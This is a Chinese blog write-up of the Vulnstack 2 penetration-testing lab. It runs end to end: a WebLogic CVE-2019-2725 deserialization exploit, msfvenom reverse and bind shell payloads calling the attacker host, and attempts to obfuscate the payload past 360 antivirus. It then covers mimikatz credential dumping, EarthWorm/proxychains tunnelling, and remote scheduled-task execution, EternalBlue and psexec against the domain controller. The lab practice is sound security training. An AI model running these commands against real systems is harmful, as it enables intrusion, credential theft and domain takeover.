Vulnstack内网靶场2
环境配置
内网2靶场由三台机器构成:WIN7、2008 server、2012 server
其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控
网络适配器已经设置好了不用自己设置
初始密码1qaz@WSX
WEB主机初始的状态默认密码无法登录,切换用户 de1ay/1qaz@WSX ,然后修改WEB\de1ay的密码
注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可,管理员账号密码:Administrator/1qaz@WSX
由于web主机自己设置了ip地址,还需要改成自动获取ip地址,不然kali无法探测该主机

外网主机信息收集
nmap探测端口,一个web服务器一个个人pc



目标web主机对外的ip地址为192.168.200.30 ,开放了80,但是看了看什么东西也没有,1433sqlserver,7001http服务 weblogic中间件
由于刚刚环境配置的时候开的就是weblogic服务,所以猜测肯定这里有问题
访问weblogic后台 默认路径为192.168.200.30:7001/console,得到了一个版本号10.3.6.0
因为我对这个中间件不是很熟悉,先kali searchsploit搜索了一下大概存在哪漏洞

看到存在命令执行漏洞和java反序列化,但是我也不知道具体是哪一个,所以网上找到了一个针对weblogic的扫描工具rabbitmask/WeblogicScan
python3 WeblogicScan.py -u 192.168.200.30 -p 7001

看到检测出只有java反序列化漏洞 编号为CVE-2019-2725,搜索一下关于这个漏洞的复现,查到有两种方法
CVE-2019-2725漏洞利用
1、上msf搜索关于这个漏洞的利用模块

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target 1
set RHOSTS 192.168.200.30
set LHOST 192.168.200.6
run

但是攻击失败了,突然意识到靶机有360防御,关掉之后才能攻击。
2、网上的exp(github.com)
漏洞存在的页面:(若页面存在则有漏洞)
/_async/AsyncResponseService
但是网上的exp我每个都试了,弄了一下午结果没有一个成功的,后来看到360的日志,才发现原来是他搞得鬼,把所有的数据包都拦截了,那我就很疑惑网上的wp到底是怎么写出来的

看来绕过360还是一个大工程啊
功夫不负有心人我差点想要放弃了,还好还是找到了CVE-2019-2725对应的利用脚本,kali如下,下载地址 https://www.exploit-db.com/download/46780

使用方法:将exploit修改成msf生成的ps1文件

但是有360,还得考虑免杀
先用msf生成ps1脚本
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.6 LPORT=4444 -f psh-cmd > shell.ps1
免杀这里我选择了Invoke-Obfuscation 参考文章Invoke-Obfuscation混淆免杀过360和火绒_csdnmmd的博客-CSDN博客
Invoke-Obfuscation下载链接:https://github.com/danielbohannon/Invoke-Obfuscation
设置执行策略Set-executionpolicy Unrestricted:允许所有脚本运行。
Import-Module Invoke-Obfuscation.psd1 \\导入模块
Invoke-Obfuscation \\加载模块

设置要免杀的木马
set scriptpath C:\Users\administrator.WIN-2008\Desktop\shell.ps1

选择编码混淆 ENCODING

这里选择的类型有八个,分别是不同编码,我先试试第一个,输入1,就会自动生成

输入
out 1.ps1
将文件输出,可以看到免杀好的ps1脚本已经做好了

回到kali,我想先是试试看没免杀的脚本会不会被360拦截,于是就先把没免杀的ps1复制到exploit中

python 46780.py http://192.168.200.30:7001/_async/AsyncResponseServiceHttps

msf监听

果然还是被拦截了,接下来试试看免杀之后的
但是,花了一晚上所有都试了一遍发现没有一个能用的,直到我把360关了之后,再重新试了一下,发现就算没有360也没有用,害能力不够,免杀这边只能先放放了。
内网信息收集
跳过绕360那一步拿到web主机权限

getsystem提权失败,应该是因为360的原因
MSF下的会话传给CS
msf使用注入模块 + cs创建Listener监听 (相同payload)
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost (cs listener ip)
set lport (cs listener port)
set session (id)
run

利用cs通过web服务器进行对内网的主机扫描发现


扫到的三台主机,都开了445,后面可以试试永恒之蓝
也可以利用msf通过web服务器进行对内网的主机扫描发现
进入shell 查看内网网段

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

有一台主机没扫到,我试了一下web机也ping不到pc不知道什么原因,用路由转发,让msf直接扫试试看
获取目标机内网地址网段
run get_local_subnets
通过background回到msf,使用route增加对应路由,2是sessions值
route add 10.10.10.0 255.255.255.0 2
查看是否设置成功
route print
这样msf就能扫描到内网的主机了

回到meterpreter会话,扫描10.10.10.0网段
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24

继续信息收集,查到域名为de1ay.com,存在两台域主机WEB和PC,域控制器为DC.de1ay.com,主机名为DC
net time /domain
net user /domain
net group "domain computers" /domain



CS runmimikatz


抓取到web/de1ay和de1ay/mssql用户的密码,但是没抓到域控的密码(其实通过之前收集到的用户名,也可以用这个密码撞一撞)
内网穿越
先设置代理让kali能访问内网
两种工具一个是earthworm,还有一个是ProxyChains
首先将EW上传到web主机上
在攻击机运行
./ew_for_linux64 -s rcsocks -l 1080 -e 4444
这条命令的意思是在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给4444端口
然后在web主机运行
ew_for_Win.exe -s rssocks -d 192.168.200.6 -e 4444
这条命令的意思是在本机服务器上启动SOCKS5服务,然后反弹到192.168.200.6攻击机的4444端口
运行完后会显示连接OK,现在就可以通过访问攻击机的1080端口,使用win7的服务器上SOCKS5代理服务

接下来使用proxychains添加代理(KALI中自带)
输入打开proxychains进行编辑
vi /etc/proxychains4.conf
首先将dynamic_chain前面的注释符#删除

然后在底部改成内容 socks5 127.0.0.1 1080

保存并退出,现在kali可以访问内网了
setg Proxies socks5:127.0.0.1:1080 ,把msf代理进内网(也可以添加路由)
域内横向移动
既然抓到了本机的密码,也开启了3389,就远程登陆看看
rdesktop 192.168.200.30:3389
进入后先把360关了
这里我只是试一试,但是居然能连接到

msf创建一个正向连接的shell
msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe
上传到web机在上传到域控

定时任务
schtasks /create /s 10.10.10.10 /tn test /sc once /st 17:07 /tr c:\shell.exe /ru system /f
msf监听
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.10
set lport 4444
run

拿到域控权限但提权失败,尝试手动提权
background
use local_exploit_suggester
show options
set session 4
run

每个都尝试用了一遍,在切换回sessions

用永恒之蓝试试攻击域控


也可以直接获取域控权限

(后面我又试了一下永恒之蓝,但是一直是蓝屏,我也不知道这次是怎么弄的)
psexec.exe也行

总结
这个靶机可能是我配置不太对,做起来有些奇怪,win2008的权限似乎有点高不用ipc连接就能连接到域控,win2008和win7互相 ping不通,也连接不到,感觉win7在这个靶场中存在的意义不大,这个靶场的难点应该就是过360那部分了,后续得学习一下免杀
Vulnstack内网靶场2的更多相关文章
- Vulnstack内网靶场3
Vulnstack内网靶场3 (qiyuanxuetang.net) 环境配置 打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行. 挂起状态,账号已默认登陆,cento ...
- Vulnstack内网靶场1
最近发现了一个内网的靶场网站,简单配置一下网络就可以,不用自己搭建这么麻烦漏洞信息 (qiyuanxuetang.net) 环境配置 内网1靶场由三台机器构成:WIN7.2008 server.200 ...
- Vulnstack内网靶场5
实验环境搭建 漏洞详情 (qiyuanxuetang.net) "此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集.Web攻防.代码审计.漏洞利用. ...
- Vulnstack内网靶场4
环境 漏洞详情 (qiyuanxuetang.net) 仅主机模式内网网段192.168.183.0/24 外网网段192.168.157.0/24 其中Ubuntu作为对外的内网机器 攻击机kali ...
- CS内网横向移动 模拟渗透实操 超详细
@Webkio 前言: 最近在跟朋友搞一些项目玩,所以最近没怎么更新内容接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白.本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自 ...
- 内网渗透之vlunstack靶场
前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...
- 利用MSF实现三层网络的一次内网渗透
目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为 image/jpeg 上传大马之后发 ...
- 利用Metasploit 打入ThinkPHP内网...
出品|MS08067实验室(www.ms08067.com) 本文作者:dch(Ms08067实验室 SRSP TEAM小组成员) 一.利用Metasploit进行攻击的流程图 Metasploi ...
- 【CTF】msf和impacket联合拿域控内网渗透-拿域控
前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...
随机推荐
- WIN10 64bit + QT5.10.0(MinGW3.5.0) + OpenCV3.4.1 无痛安装、配置
安装QT和配置MinGW 官方下载qt-opensource-windows-x86-5.10.0.exe 正常步骤安装QT5.10.0,安装过程选择自带的MinGW3.5.0编译器即可. 打开QtC ...
- Python3-sqlalchemy-orm 多对多关系建表、插入数据、查询数据
现在来设计一个能描述"图书"与"作者"的关系的表结构,需求是 一本书可以有好几个作者一起出版 一个作者可以写好几本书 此时你会发现,用之前学的外键好像没办法实现 ...
- Qt5之事件学习总结
首先要明白一个概念,事件和信号并不一样,比如单击一下鼠标,就会产生鼠标事件(QMouseEvent),是对这个动作的描述,而因为按钮被按下了,按钮会发出clicked()的单击信号(是按钮控件产生的) ...
- 常用ADB命令汇总
网络连接 通过TCP/IP连接设备 adb connect <ip:port> 断开已有的TCP/IP连接 adb disconnect <ip:port> 监听设备上指定的端 ...
- 什么是云效持续集成?如何关联Jenkins进行持续集成?
什么是云效持续集成?如何关联Jenkins进行持续集成?云效流水线 Flow是一款企业级.自动化的研发交付流水线, 提供灵活易用的持续集成.持续验证. 持续发布功能,帮助企业高质量.高效率的交付业务. ...
- Spring AOP Aspect的简单实现(基于注解)
第1步:声明使用注解 <!-- 配置扫描注解--> 扫描包的位置<context:component-scan base-package="com.zz"/> ...
- 知乎大佬图文并茂的epoll讲解,看不懂的去砍他
select.poll.epoll的文章很多,自己也看过不少经典好文.不过第一次看到讲的如此通俗易懂.又图文并茂的.因此拿来分享下,供后续翻看学习. 原文链接:https://zhuanlan.zhi ...
- Identity用户管理入门六(判断是否登录)
目前用户管理的增删改查及登录功能已经全部实现,但存在一个问题,登录后要取消登录按钮显示退出按钮,未登录应该有注册按钮,现实现过程如下 一.Startup.cs中增加服务 app.UseAuthenti ...
- ES6:使用解构赋值仅用一行定义多个相同的数组,且指向堆不同(解构赋值)
在开发过程中我们经常要用到一些临时变量对数据进行一些特殊处理,由于良好的编码习惯要在临时变量用完后释放内存,所以当临时变量数量较多时,整体代码会变得冗余. let a = [] let b = [] ...
- 利用 Nginx 搭建小型的文件服务器
利用 Nginx 搭建小型的文件服务器 1.查看 Nginx 配置 android@localhost:/etc/nginx/conf.d$ nginx -hnginx version: nginx/ ...